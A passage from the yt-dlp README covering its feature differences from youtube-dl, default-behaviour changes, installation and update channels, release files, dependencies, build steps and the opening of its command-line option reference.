(`ytstories:<channel UCID>`), Search (including filters)**\***, YouTube Music Search, Channel-specific search, Search prefixes (`ytsearch:`, `ytsearchdate:`)**\***, Mixes, and Feeds (`:ytfav`, `:ytwatchlater`, `:ytsubs`, `:ythistory`, `:ytrec`, `:ytnotif`) * Fix for [n-sig based throttling](https://github.com/ytdl-org/youtube-dl/issues/29326) **\*** * Supports some (but not all) age-gated content without cookies * Download livestreams from the start using `--live-from-start` (*experimental*) * `255kbps` audio is extracted (if available) from YouTube Music when premium cookies are given * Channel URLs download all uploads of the channel, including shorts and live * **Cookies from browser**: Cookies can be automatically extracted from all major web browsers using `--cookies-from-browser BROWSER[+KEYRING][:PROFILE][::CONTAINER]` * **Download time range**: Videos can be downloaded partially based on either timestamps or chapters using `--download-sections` * **Split video by chapters**: Videos can be split into multiple files based on chapters using `--split-chapters` * **Multi-threaded fragment downloads**: Download multiple fragments of m3u8/mpd videos in parallel. Use `--concurrent-fragments` (`-N`) option to set the number of threads used * **Aria2c with HLS/DASH**: You can use `aria2c` as the external downloader for DASH(mpd) and HLS(m3u8) formats * **New and fixed extractors**: Many new extractors have been added and a lot of existing ones have been fixed. See the [changelog](Changelog.md) or the [list of supported sites](supportedsites.md) * **New MSOs**: Philo, Spectrum, SlingTV, Cablevision, RCN etc. * **Subtitle extraction from manifests**: Subtitles can be extracted from streaming media manifests. See [commit/be6202f](https://github.com/yt-dlp/yt-dlp/commit/be6202f12b97858b9d716e608394b51065d0419f) for details * **Multiple paths and output templates**: You can give different [output templates](#output-template) and download paths for different types of files. You can also set a temporary path where intermediary files are downloaded to using `--paths` (`-P`) * **Portable Configuration**: Configuration files are automatically loaded from the home and root directories. See [CONFIGURATION](#configuration) for details * **Output template improvements**: Output templates can now have date-time formatting, numeric offsets, object traversal etc. See [output template](#output-template) for details. Even more advanced operations can also be done with the help of `--parse-metadata` and `--replace-in-metadata` * **Other new options**: Many new options have been added such as `--alias`, `--print`, `--concat-playlist`, `--wait-for-video`, `--retry-sleep`, `--sleep-requests`, `--convert-thumbnails`, `--force-download-archive`, `--force-overwrites`, `--break-match-filter` etc * **Improvements**: Regex and other operators in `--format`/`--match-filter`, multiple `--postprocessor-args` and `--downloader-args`, faster archive checking, more [format selection options](#format-selection), merge multi-video/audio, multiple `--config-locations`, `--exec` at different stages, etc * **Plugins**: Extractors and PostProcessors can be loaded from an external file. See [plugins](#plugins) for details * **Self updater**: The releases can be updated using `yt-dlp -U`, and downgraded using `--update-to` if required * **Nightly builds**: [Automated nightly builds](#update-channels) can be used with `--update-to nightly` See [changelog](Changelog.md) or [commits](https://github.com/yt-dlp/yt-dlp/commits) for the full list of changes Features marked with a **\*** have been back-ported to youtube-dl ### Differences in default behavior Some of yt-dlp's default options are different from that of youtube-dl and youtube-dlc: * yt-dlp supports only [Python 3.7+](## "Windows 7"), and *may* remove support for more versions as they [become EOL](https://devguide.python.org/versions/#python-release-cycle); while [youtube-dl still supports Python 2.6+ and 3.2+](https://github.com/ytdl-org/youtube-dl/issues/30568#issue-1118238743) * The options `--auto-number` (`-A`), `--title` (`-t`) and `--literal` (`-l`), no longer work. See [removed options](#Removed) for details * `avconv` is not supported as an alternative to `ffmpeg` * yt-dlp stores config files in slightly different locations to youtube-dl. See [CONFIGURATION](#configuration) for a list of correct locations * The default [output template](#output-template) is `%(title)s [%(id)s].%(ext)s`. There is no real reason for this change. This was changed before yt-dlp was ever made public and now there are no plans to change it back to `%(title)s-%(id)s.%(ext)s`. Instead, you may use `--compat-options filename` * The default [format sorting](#sorting-formats) is different from youtube-dl and prefers higher resolution and better codecs rather than higher bitrates. You can use the `--format-sort` option to change this to any order you prefer, or use `--compat-options format-sort` to use youtube-dl's sorting order * The default format selector is `bv*+ba/b`. This means that if a combined video + audio format that is better than the best video-only format is found, the former will be preferred. Use `-f bv+ba/b` or `--compat-options format-spec` to revert this * Unlike youtube-dlc, yt-dlp does not allow merging multiple audio/video streams into one file by default (since this conflicts with the use of `-f bv*+ba`). If needed, this feature must be enabled using `--audio-multistreams` and `--video-multistreams`. You can also use `--compat-options multistreams` to enable both * `--no-abort-on-error` is enabled by default. Use `--abort-on-error` or `--compat-options abort-on-error` to abort on errors instead * When writing metadata files such as thumbnails, description or infojson, the same information (if available) is also written for playlists. Use `--no-write-playlist-metafiles` or `--compat-options no-playlist-metafiles` to not write these files * `--add-metadata` attaches the `infojson` to `mkv` files in addition to writing the metadata when used with `--write-info-json`. Use `--no-embed-info-json` or `--compat-options no-attach-info-json` to revert this * Some metadata are embedded into different fields when using `--add-metadata` as compared to youtube-dl. Most notably, `comment` field contains the `webpage_url` and `synopsis` contains the `description`. You can [use `--parse-metadata`](#modifying-metadata) to modify this to your liking or use `--compat-options embed-metadata` to revert this * `playlist_index` behaves differently when used with options like `--playlist-reverse` and `--playlist-items`. See [#302](https://github.com/yt-dlp/yt-dlp/issues/302) for details. You can use `--compat-options playlist-index` if you want to keep the earlier behavior * The output of `-F` is listed in a new format. Use `--compat-options list-formats` to revert this * Live chats (if available) are considered as subtitles. Use `--sub-langs all,-live_chat` to download all subtitles except live chat. You can also use `--compat-options no-live-chat` to prevent any live chat/danmaku from downloading * YouTube channel URLs download all uploads of the channel. To download only the videos in a specific tab, pass the tab's URL. If the channel does not show the requested tab, an error will be raised. Also, `/live` URLs raise an error if there are no live videos instead of silently downloading the entire channel. You may use `--compat-options no-youtube-channel-redirect` to revert all these redirections * Unavailable videos are also listed for YouTube playlists. Use `--compat-options no-youtube-unavailable-videos` to remove this * The upload dates extracted from YouTube are in UTC [when available](https://github.com/yt-dlp/yt-dlp/blob/89e4d86171c7b7c997c77d4714542e0383bf0db0/yt_dlp/extractor/youtube.py#L3898-L3900). Use `--compat-options no-youtube-prefer-utc-upload-date` to prefer the non-UTC upload date. * If `ffmpeg` is used as the downloader, the downloading and merging of formats happen in a single step when possible. Use `--compat-options no-direct-merge` to revert this * Thumbnail embedding in `mp4` is done with mutagen if possible. Use `--compat-options embed-thumbnail-atomicparsley` to force the use of AtomicParsley instead * Some internal metadata such as filenames are removed by default from the infojson. Use `--no-clean-infojson` or `--compat-options no-clean-infojson` to revert this * When `--embed-subs` and `--write-subs` are used together, the subtitles are written to disk and also embedded in the media file. You can use just `--embed-subs` to embed the subs and automatically delete the separate file. See [#630 (comment)](https://github.com/yt-dlp/yt-dlp/issues/630#issuecomment-893659460) for more info. `--compat-options no-keep-subs` can be used to revert this * `certifi` will be used for SSL root certificates, if installed. If you want to use system certificates (e.g. self-signed), use `--compat-options no-certifi` * yt-dlp's sanitization of invalid characters in filenames is different/smarter than in youtube-dl. You can use `--compat-options filename-sanitization` to revert to youtube-dl's behavior * yt-dlp tries to parse the external downloader outputs into the standard progress output if possible (Currently implemented: [~~aria2c~~](https://github.com/yt-dlp/yt-dlp/issues/5931)). You can use `--compat-options no-external-downloader-progress` to get the downloader output as-is * yt-dlp versions between 2021.09.01 and 2023.01.02 applies `--match-filter` to nested playlists. This was an unintentional side-effect of [8f18ac](https://github.com/yt-dlp/yt-dlp/commit/8f18aca8717bb0dd49054555af8d386e5eda3a88) and is fixed in [d7b460](https://github.com/yt-dlp/yt-dlp/commit/d7b460d0e5fc710950582baed2e3fc616ed98a80). Use `--compat-options playlist-match-filter` to revert this For ease of use, a few more compat options are available: * `--compat-options all`: Use all compat options (Do NOT use) * `--compat-options youtube-dl`: Same as `--compat-options all,-multistreams,-playlist-match-filter` * `--compat-options youtube-dlc`: Same as `--compat-options all,-no-live-chat,-no-youtube-channel-redirect,-playlist-match-filter` * `--compat-options 2021`: Same as `--compat-options 2022,no-certifi,filename-sanitization,no-youtube-prefer-utc-upload-date` * `--compat-options 2022`: Same as `--compat-options playlist-match-filter,no-external-downloader-progress`. Use this to enable all future compat options # INSTALLATION <!-- MANPAGE: BEGIN EXCLUDED SECTION --> [![Windows](https://img.shields.io/badge/-Windows_x64-blue.svg?style=for-the-badge&logo=windows)](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp.exe) [![Unix](https://img.shields.io/badge/-Linux/BSD-red.svg?style=for-the-badge&logo=linux)](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp) [![MacOS](https://img.shields.io/badge/-MacOS-lightblue.svg?style=for-the-badge&logo=apple)](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp_macos) [![PyPi](https://img.shields.io/badge/-PyPi-blue.svg?logo=pypi&labelColor=555555&style=for-the-badge)](https://pypi.org/project/yt-dlp) [![Source Tarball](https://img.shields.io/badge/-Source_tar-green.svg?style=for-the-badge)](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp.tar.gz) [![Other variants](https://img.shields.io/badge/-Other-grey.svg?style=for-the-badge)](#release-files) [![All versions](https://img.shields.io/badge/-All_Versions-lightgrey.svg?style=for-the-badge)](https://github.com/yt-dlp/yt-dlp/releases) <!-- MANPAGE: END EXCLUDED SECTION --> You can install yt-dlp using [the binaries](#release-files), [pip](https://pypi.org/project/yt-dlp) or one using a third-party package manager. See [the wiki](https://github.com/yt-dlp/yt-dlp/wiki/Installation) for detailed instructions ## UPDATE You can use `yt-dlp -U` to update if you are using the [release binaries](#release-files) If you [installed with pip](https://github.com/yt-dlp/yt-dlp/wiki/Installation#with-pip), simply re-run the same command that was used to install the program For other third-party package managers, see [the wiki](https://github.com/yt-dlp/yt-dlp/wiki/Installation#third-party-package-managers) or refer their documentation <a id="update-channels"/> There are currently two release channels for binaries, `stable` and `nightly`. `stable` is the default channel, and many of its changes have been tested by users of the nightly channel. The `nightly` channel has releases built after each push to the master branch, and will have the most recent fixes and additions, but also have more risk of regressions. They are available in [their own repo](https://github.com/yt-dlp/yt-dlp-nightly-builds/releases). When using `--update`/`-U`, a release binary will only update to its current channel. `--update-to CHANNEL` can be used to switch to a different channel when a newer version is available. `--update-to [CHANNEL@]TAG` can also be used to upgrade or downgrade to specific tags from a channel. You may also use `--update-to <repository>` (`<owner>/<repository>`) to update to a channel on a completely different repository. Be careful with what repository you are updating to though, there is no verification done for binaries from different repositories. Example usage: * `yt-dlp --update-to nightly` change to `nightly` channel and update to its latest release * `yt-dlp --update-to [email protected]` upgrade/downgrade to release to `stable` channel tag `2023.02.17` * `yt-dlp --update-to 2023.01.06` upgrade/downgrade to tag `2023.01.06` if it exists on the current channel * `yt-dlp --update-to example/[email protected]` upgrade/downgrade to the release from the `example/yt-dlp` repository, tag `2023.03.01` <!-- MANPAGE: BEGIN EXCLUDED SECTION --> ## RELEASE FILES #### Recommended File|Description :---|:--- [yt-dlp](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp)|Platform-independent [zipimport](https://docs.python.org/3/library/zipimport.html) binary. Needs Python (recommended for **Linux/BSD**) [yt-dlp.exe](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp.exe)|Windows (Win7 SP1+) standalone x64 binary (recommended for **Windows**) [yt-dlp_macos](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp_macos)|Universal MacOS (10.15+) standalone executable (recommended for **MacOS**) #### Alternatives File|Description :---|:--- [yt-dlp_x86.exe](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp_x86.exe)|Windows (Vista SP2+) standalone x86 (32-bit) binary [yt-dlp_min.exe](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp_min.exe)|Windows (Win7 SP1+) standalone x64 binary built with `py2exe`<br/> ([Not recommended](#standalone-py2exe-builds-windows)) [yt-dlp_linux](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp_linux)|Linux standalone x64 binary [yt-dlp_linux.zip](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp_linux.zip)|Unpackaged Linux executable (no auto-update) [yt-dlp_linux_armv7l](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp_linux_armv7l)|Linux standalone armv7l (32-bit) binary [yt-dlp_linux_aarch64](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp_linux_aarch64)|Linux standalone aarch64 (64-bit) binary [yt-dlp_win.zip](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp_win.zip)|Unpackaged Windows executable (no auto-update) [yt-dlp_macos.zip](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp_macos.zip)|Unpackaged MacOS (10.15+) executable (no auto-update) [yt-dlp_macos_legacy](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp_macos_legacy)|MacOS (10.9+) standalone x64 executable #### Misc File|Description :---|:--- [yt-dlp.tar.gz](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp.tar.gz)|Source tarball [SHA2-512SUMS](https://github.com/yt-dlp/yt-dlp/releases/latest/download/SHA2-512SUMS)|GNU-style SHA512 sums [SHA2-512SUMS.sig](https://github.com/yt-dlp/yt-dlp/releases/latest/download/SHA2-512SUMS.sig)|GPG signature file for SHA512 sums [SHA2-256SUMS](https://github.com/yt-dlp/yt-dlp/releases/latest/download/SHA2-256SUMS)|GNU-style SHA256 sums [SHA2-256SUMS.sig](https://github.com/yt-dlp/yt-dlp/releases/latest/download/SHA2-256SUMS.sig)|GPG signature file for SHA256 sums The public key that can be used to verify the GPG signatures is [available here](https://github.com/yt-dlp/yt-dlp/blob/master/public.key) Example usage: ``` curl -L https://github.com/yt-dlp/yt-dlp/raw/master/public.key | gpg --import gpg --verify SHA2-256SUMS.sig SHA2-256SUMS gpg --verify SHA2-512SUMS.sig SHA2-512SUMS ``` <!-- MANPAGE: END EXCLUDED SECTION --> **Note**: The manpages, shell completion (autocomplete) files etc. are available inside the [source tarball](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp.tar.gz) ## DEPENDENCIES Python versions 3.7+ (CPython and PyPy) are supported. Other versions and implementations may or may not work correctly. <!-- Python 3.5+ uses VC++14 and it is already embedded in the binary created <!x-- https://www.microsoft.com/en-us/download/details.aspx?id=26999 --x> On windows, [Microsoft Visual C++ 2010 SP1 Redistributable Package (x86)](https://download.microsoft.com/download/1/6/5/165255E7-1014-4D0A-B094-B6A430A6BFFC/vcredist_x86.exe) is also necessary to run yt-dlp. You probably already have this, but if the executable throws an error due to missing `MSVCR100.dll` you need to install it manually. --> While all the other dependencies are optional, `ffmpeg` and `ffprobe` are highly recommended ### Strongly recommended * [**ffmpeg** and **ffprobe**](https://www.ffmpeg.org) - Required for [merging separate video and audio files](#format-selection) as well as for various [post-processing](#post-processing-options) tasks. License [depends on the build](https://www.ffmpeg.org/legal.html) There are bugs in ffmpeg that causes various issues when used alongside yt-dlp. Since ffmpeg is such an important dependency, we provide [custom builds](https://github.com/yt-dlp/FFmpeg-Builds#ffmpeg-static-auto-builds) with patches for some of these issues at [yt-dlp/FFmpeg-Builds](https://github.com/yt-dlp/FFmpeg-Builds). See [the readme](https://github.com/yt-dlp/FFmpeg-Builds#patches-applied) for details on the specific issues solved by these builds **Important**: What you need is ffmpeg *binary*, **NOT** [the python package of the same name](https://pypi.org/project/ffmpeg) ### Networking * [**certifi**](https://github.com/certifi/python-certifi)\* - Provides Mozilla's root certificate bundle. Licensed under [MPLv2](https://github.com/certifi/python-certifi/blob/master/LICENSE) * [**brotli**](https://github.com/google/brotli)\* or [**brotlicffi**](https://github.com/python-hyper/brotlicffi) - [Brotli](https://en.wikipedia.org/wiki/Brotli) content encoding support. Both licensed under MIT <sup>[1](https://github.com/google/brotli/blob/master/LICENSE) [2](https://github.com/python-hyper/brotlicffi/blob/master/LICENSE) </sup> * [**websockets**](https://github.com/aaugustin/websockets)\* - For downloading over websocket. Licensed under [BSD-3-Clause](https://github.com/aaugustin/websockets/blob/main/LICENSE) ### Metadata * [**mutagen**](https://github.com/quodlibet/mutagen)\* - For `--embed-thumbnail` in certain formats. Licensed under [GPLv2+](https://github.com/quodlibet/mutagen/blob/master/COPYING) * [**AtomicParsley**](https://github.com/wez/atomicparsley) - For `--embed-thumbnail` in `mp4`/`m4a` files when `mutagen`/`ffmpeg` cannot. Licensed under [GPLv2+](https://github.com/wez/atomicparsley/blob/master/COPYING) * [**xattr**](https://github.com/xattr/xattr), [**pyxattr**](https://github.com/iustin/pyxattr) or [**setfattr**](http://savannah.nongnu.org/projects/attr) - For writing xattr metadata (`--xattr`) on **Linux**. Licensed under [MIT](https://github.com/xattr/xattr/blob/master/LICENSE.txt), [LGPL2.1](https://github.com/iustin/pyxattr/blob/master/COPYING) and [GPLv2+](http://git.savannah.nongnu.org/cgit/attr.git/tree/doc/COPYING) respectively ### Misc * [**pycryptodomex**](https://github.com/Legrandin/pycryptodome)\* - For decrypting AES-128 HLS streams and various other data. Licensed under [BSD-2-Clause](https://github.com/Legrandin/pycryptodome/blob/master/LICENSE.rst) * [**phantomjs**](https://github.com/ariya/phantomjs) - Used in extractors where javascript needs to be run. Licensed under [BSD-3-Clause](https://github.com/ariya/phantomjs/blob/master/LICENSE.BSD) * [**secretstorage**](https://github.com/mitya57/secretstorage) - For `--cookies-from-browser` to access the **Gnome** keyring while decrypting cookies of **Chromium**-based browsers on **Linux**. Licensed under [BSD-3-Clause](https://github.com/mitya57/secretstorage/blob/master/LICENSE) * Any external downloader that you want to use with `--downloader` ### Deprecated * [**avconv** and **avprobe**](https://www.libav.org) - Now **deprecated** alternative to ffmpeg. License [depends on the build](https://libav.org/legal) * [**sponskrub**](https://github.com/faissaloo/SponSkrub) - For using the now **deprecated** [sponskrub options](#sponskrub-options). Licensed under [GPLv3+](https://github.com/faissaloo/SponSkrub/blob/master/LICENCE.md) * [**rtmpdump**](http://rtmpdump.mplayerhq.hu) - For downloading `rtmp` streams. ffmpeg can be used instead with `--downloader ffmpeg`. Licensed under [GPLv2+](http://rtmpdump.mplayerhq.hu) * [**mplayer**](http://mplayerhq.hu/design7/info.html) or [**mpv**](https://mpv.io) - For downloading `rstp`/`mms` streams. ffmpeg can be used instead with `--downloader ffmpeg`. Licensed under [GPLv2+](https://github.com/mpv-player/mpv/blob/master/Copyright) To use or redistribute the dependencies, you must agree to their respective licensing terms. The standalone release binaries are built with the Python interpreter and the packages marked with **\*** included. If you do not have the necessary dependencies for a task you are attempting, yt-dlp will warn you. All the currently available dependencies are visible at the top of the `--verbose` output ## COMPILE ### Standalone PyInstaller Builds To build the standalone executable, you must have Python and `pyinstaller` (plus any of yt-dlp's [optional dependencies](#dependencies) if needed). Once you have all the necessary dependencies installed, simply run `pyinst.py`. The executable will be built for the same architecture (x86/ARM, 32/64 bit) as the Python used. python3 -m pip install -U pyinstaller -r requirements.txt python3 devscripts/make_lazy_extractors.py python3 pyinst.py On some systems, you may need to use `py` or `python` instead of `python3`. `pyinst.py` accepts any arguments that can be passed to `pyinstaller`, such as `--onefile/-F` or `--onedir/-D`, which is further [documented here](https://pyinstaller.org/en/stable/usage.html#what-to-generate). **Note**: Pyinstaller versions below 4.4 [do not support](https://github.com/pyinstaller/pyinstaller#requirements-and-tested-platforms) Python installed from the Windows store without using a virtual environment. **Important**: Running `pyinstaller` directly **without** using `pyinst.py` is **not** officially supported. This may or may not work correctly. ### Platform-independent Binary (UNIX) You will need the build tools `python` (3.7+), `zip`, `make` (GNU), `pandoc`\* and `pytest`\*. After installing these, simply run `make`. You can also run `make yt-dlp` instead to compile only the binary without updating any of the additional files. (The build tools marked with **\*** are not needed for this) ### Standalone Py2Exe Builds (Windows) While we provide the option to build with [py2exe](https://www.py2exe.org), it is recommended to build [using PyInstaller](#standalone-pyinstaller-builds) instead since the py2exe builds **cannot contain `pycryptodomex`/`certifi` and needs VC++14** on the target computer to run. If you wish to build it anyway, install Python and py2exe, and then simply run `setup.py py2exe` py -m pip install -U py2exe -r requirements.txt py devscripts/make_lazy_extractors.py py setup.py py2exe ### Related scripts * **`devscripts/update-version.py`** - Update the version number based on current date. * **`devscripts/set-variant.py`** - Set the build variant of the executable. * **`devscripts/make_changelog.py`** - Create a markdown changelog using short commit messages and update `CONTRIBUTORS` file. * **`devscripts/make_lazy_extractors.py`** - Create lazy extractors. Running this before building the binaries (any variant) will improve their startup performance. Set the environment variable `YTDLP_NO_LAZY_EXTRACTORS=1` if you wish to forcefully disable lazy extractor loading. Note: See their `--help` for more info. ### Forking the project If you fork the project on GitHub, you can run your fork's [build workflow](.github/workflows/build.yml) to automatically build the selected version(s) as artifacts. Alternatively, you can run the [release workflow](.github/workflows/release.yml) or enable the [nightly workflow](.github/workflows/release-nightly.yml) to create full (pre-)releases. # USAGE AND OPTIONS <!-- MANPAGE: BEGIN EXCLUDED SECTION --> yt-dlp [OPTIONS] [--] URL [URL...] `Ctrl+F` is your friend :D <!-- MANPAGE: END EXCLUDED SECTION --> <!-- Auto generated --> ## General Options: -h, --help Print this help text and exit --version Print program version and exit -U, --update Update this program to the latest version --no-update Do not check for updates (default) --update-to [CHANNEL]@[TAG] Upgrade/downgrade to a specific version. CHANNEL can be a repository as well. CHANNEL and TAG default to "stable" and "latest" respectively if omitted; See "UPDATE" for details. Supported channels: stable, nightly -i, --ignore-errors Ignore download and postprocessing errors. The download will be considered successful even if the postprocessing fails --no-abort-on-error Continue with next video on download errors; e.g. to skip unavailable videos in a playlist (default) --abort-on-error Abort downloading of further videos if an error occurs (Alias: --no-ignore-errors) --dump-user-agent Display the current user-agent and exit --list-extractors List all supported extractors and exit --extractor-descriptions Output descriptions of all supported extractors and exit --use-extractors NAMES Extractor names to use separated by commas. You can also use regexes, "all", "default" and "end" (end URL matching); e.g. --ies "holodex.*,end,youtube". Prefix the name with a "-" to exclude it, e.g. --ies default,-generic. Use --list-extractors for a list of extractor names. (Alias: --ies) --default-search PREFIX Use this prefix for unqualified URLs. E.g. "gvsearch2:python" downloads two videos from google videos for the search term "python". Use the value "auto" to let yt-dlp guess ("auto_warning" to emit a warning when guessing). "error" just throws an error. The default value "fixup_error" repairs broken URLs, but emits an error if this is not possible instead of searching --ignore-config Don't load any more configuration files except those given by --config-locations. For backward compatibility, if this option is found inside the system configuration file, the user configuration is not loaded. (Alias: --no-config) --no-config-locations Do not load any custom configuration files (default). When given inside a configuration file, ignore all previous --config-locations defined in the current file --config-locations PATH Location of the main configuration file; either the path to the config or its containing directory ("-" for stdin). Can be used multiple times and inside other configuration files --flat-playlist Do not extract the videos of a playlist, only list them --no-flat-playlist Fully extract the videos of a playlist (default) --live-from-start Download livestreams from the start. Currently only supported for YouTube (Experimental) --no-live-from-start Download livestreams from the current time (default) --wait-for-video MIN[-MAX] Wait for scheduled streams to become available. Pass the minimum number of seconds (or range) to wait between retries --no-wait-for-video Do not wait for scheduled streams (default) --mark-watched Mark videos watched (even with --simulate) --no-mark-watched Do not mark videos watched (default) --color [STREAM:]POLICY Whether to emit color codes in output, optionally prefixed by the STREAM (stdout or stderr) to apply the setting to. Can be one of "always", "auto" (default), "never", or "no_color" (use non color terminal sequences). Can be used multiple times --compat-options OPTS Options that can help keep compatibility with youtube-dl or youtube-dlc configurations by reverting some of the changes made in yt-dlp. See "Differences in default behavior" for details --alias ALIASES OPTIONS Create aliases for an option string. Unless an alias starts with a dash "-", it is prefixed with "--". Arguments are parsed according to the Python string formatting mini-language. E.g. --alias get-audio,-X "-S=aext:{0},abr -x --audio-format {0}" creates options "--get-audio" and "-X" that takes an argument (ARG0) and expands to "-S=aext:ARG0,abr -x --audio-format ARG0". All defined aliases are listed in the --help output. Alias options can trigger more aliases; so be careful to avoid defining recursive options. As a safety measure, each alias may be triggered a maximum of 100 times. This option can be used multiple times ## Network Options: --proxy URL Use the specified HTTP/HTTPS/SOCKS proxy. To enable SOCKS proxy, specify a proper scheme, e.g. socks5://user:[email protected]:1080/. Pass in an empty string (--proxy "") for direct connection --socket-timeout SECONDS Time to wait before giving up, in seconds --source-address IP Client-side IP address to bind to -4, --force-ipv4 Make all connections via IPv4 -6, --force-ipv6 Make all connections via IPv6 --enable-file-urls Enable file:// URLs. This is disabled by default for security reasons. ## Geo-restriction: --geo-verification-proxy URL Use this proxy to verify the IP address for some geo-restricted sites. The default proxy specified by --proxy (or none, if the option is not present) is used for the actual downloading --xff VALUE How to fake X-Forwarded-For HTTP header to try bypassing geographic restriction. One of "default" (only when known to be useful), "never", an IP block in CIDR notation, or a two-letter ISO 3166-2 country code ## Video Selection: -I, --playlist-items ITEM_SPEC Comma separated playlist_index of the items to download. You can specify a range using "[START]:[STOP][:STEP]". For backward compatibility, START-STOP is also supported. Use negative indices to count from the right and negative STEP to download in reverse order. E.g. "-I 1:3,7,-5::2" used on a playlist of size 15 will download the items at index 1,2,3,7,11,13,15 --min-filesize SIZE Abort download if filesize is smaller than SIZE, e.g. 50k or 44.6M --max-filesize SIZE Abort download if filesize is larger than SIZE, e.g. 50k or 44.6M --date DATE Download only videos uploaded on this date. The date can be "YYYYMMDD" or in the format [now|today|yesterday][-N[day|week|month|year]]. E.g. "--date today-2weeks" downloads only videos uploaded on the same day two weeks ago --datebefore DATE Download only videos uploaded on or before this date. The date formats accepted is the same as --date --dateafter DATE Download only videos uploaded on or after this date. The date formats accepted is the same as --date --match-filters FILTER Generic video filter. Any "OUTPUT TEMPLATE" field can be compared with a number or a string using the operators defined in "Filtering Formats". You can also simply specify a field to match if the field is present, use "!field" to check if the field is not present, and "&" to check multiple conditions. Use a "\" to escape "&" or quotes if needed. If used multiple times, the filter matches if atleast one of the conditions are met. E.g. --match-filter !is_live --match-filter "like_count>?100 & description~='(?i)\bcats \& dogs\b'" matches only videos that are not live OR those that have a like count more than 100 (or the like field is not available) and also has a description that contains the phrase "cats & dogs" (caseless). Use "--match-filter -" to interactively ask whether to download each video --no-match-filters Do not use any --match-filter (default) --break-match-filters FILTER Same as "--match-filters" but stops the download process when a video is rejected --no-break-match-filters Do not use any --break-match-filters (default) --no-playlist Download only the video, if the URL refers to a video and a playlist --yes-playlist Download the playlist, if the URL refers to a video and a playlist --age-limit YEARS Download only videos suitable for the given age --download-archive FILE Download only videos not listed in the archive file. Record the IDs of all downloaded videos in it --no-download-archive Do not use archive file (default) --max-downloads NUMBER Abort after downloading NUMBER files --break-on-existing Stop the download process when encountering a file that is in the archive --break-per-input Alters --max-downloads, --break-on-existing, --break-match-filter, and autonumber to reset per input URL --no-break-per-input --break-on-existing and similar options terminates the entire download queue --skip-playlist-after-errors N Number of allowed failures until the rest of the playlist is skipped ## Download Options: -N, --concurrent-fragments N Number of fragments of a dash/hlsnative video that should be downloaded concurrently (default is 1) -r, --limit-rate RATE Maximum download rate in bytes per second, e.g. 50K or 4.2M --throttled-rate RATE Minimum download rate in bytes per second below which throttling is assumed and the video data is re-extracted, e.g. 100K -R, --retries RETRIES Number of retries (default is 10), or "infinite" --file-access-retries RETRIES Number of times to retry on file access error (default is 3), or "infinite" --fragment-retries RETRIES Number of retries for a fragment (default is 10), or "infinite" (DASH, hlsnative and ISM) --retry-sleep [TYPE:]EXPR Time to sleep between retries in seconds (optionally) prefixed by the type of retry (http (default), fragment, file_access, extractor) to apply the sleep to. EXPR can be a number, linear=START[:END[:STEP=1]] or exp=START[:END[:BASE=2]]. This option can be used multiple times to set the sleep for the different retry types, e.g. --retry-sleep linear=1::2 --retry-sleep fragment:exp=1:20 --skip-unavailable-fragments Skip unavailable fragments for DASH, hlsnative and ISM downloads (default) (Alias: --no-abort-on-unavailable-fragments) --abort-on-unavailable-fragments Abort download if a fragment is unavailable (Alias: --no-skip-unavailable-fragments) --keep-fragments Keep downloaded fragments on disk after downloading is finished --no-keep-fragments Delete downloaded fragments after downloading is finished (default) --buffer-size SIZE Size of download buffer, e.g. 1024 or 16K (default is 1024) --resize-buffer The buffer size is automatically resized from an initial value of --buffer-size (default) --no-resize-buffer Do not automatically adjust the buffer size --http-chunk-size SIZE Size of a chunk for chunk-based HTTP downloading, e.g. 10485760 or 10M (default is disabled). May be useful for bypassing bandwidth throttling imposed by a webserver (experimental) --playlist-random Download playlist videos in random order --lazy-playlist Process entries in the playlist as they are received. This disables n_entries, --playlist-random and --playlist-reverse --no-lazy-playlist Process videos in the playlist only after the entire playlist is parsed (default) --xattr-set-filesize Set file xattribute ytdl.filesize with expected file size --hls-use-mpegts Use the mpegts container for HLS videos; allowing some players to play the video while downloading, and reducing the chance of file corruption if download is interrupted. This is enabled by default for live streams --no-hls-use-mpegts Do not use the mpegts container for HLS videos. This is default when not downloading live streams --download-sections REGEX Download only chapters that match the regular expression. A "*" prefix denotes time-range instead of chapter. Negative timestamps are calculated from the end. "*from-url" can be used to download between the "start_time" and "end_time" extracted from the URL. Needs ffmpeg. This option can be used multiple times to download multiple sections, e.g. --download-sections "*10:15-inf" --download-sections "intro" --downloader [PROTO:]NAME Name or path of the external downloader to use (optionally) prefixed by the protocols (http, ftp, m3u8, dash, rstp, rtmp, mms) to use it for. Currently supports native, aria2c, avconv, axel, curl, ffmpeg, httpie, wget. You can use this option multiple times to set different downloaders for different protocols. E.g. --downloader aria2c --downloader "dash,m3u8:native" will use aria2c for http/ftp downloads, and the native downloader for dash/m3u8 downloads (Alias: --external-downloader) --downloader-args NAME:ARGS Give these arguments to the external downloader. Specify the downloader name and the arguments separated by a colon ":". For ffmpeg, arguments can be passed to different positions using the same syntax as --postprocessor-args. You can use this option multiple times to give different arguments to different downloaders (Alias: --external-downloader-args) ## Filesystem Options: -a, --batch-file FILE File containing URLs to download ("-" for stdin), one URL per line. Lines starting with "#", ";" or "]" are considered as comments and ignored --no-batch-file Do not read URLs from batch file (default) -P, --paths [TYPES:]PATH The paths where the files should be downloaded. Specify the type of file and the path separated by a colon ":". All the same TYPES as --output are supported. Additionally, you can also provide "home" (default) and "temp" paths. All intermediary files are first downloaded to the temp path and then the final files are moved over to the home path after download is finished. This option is ignored if --output is an absolute path -o, --output [TYPES:]TEMPLATE Output filename template; see "OUTPUT TEMPLATE" for details --output-na-placeholder TEXT Placeholder 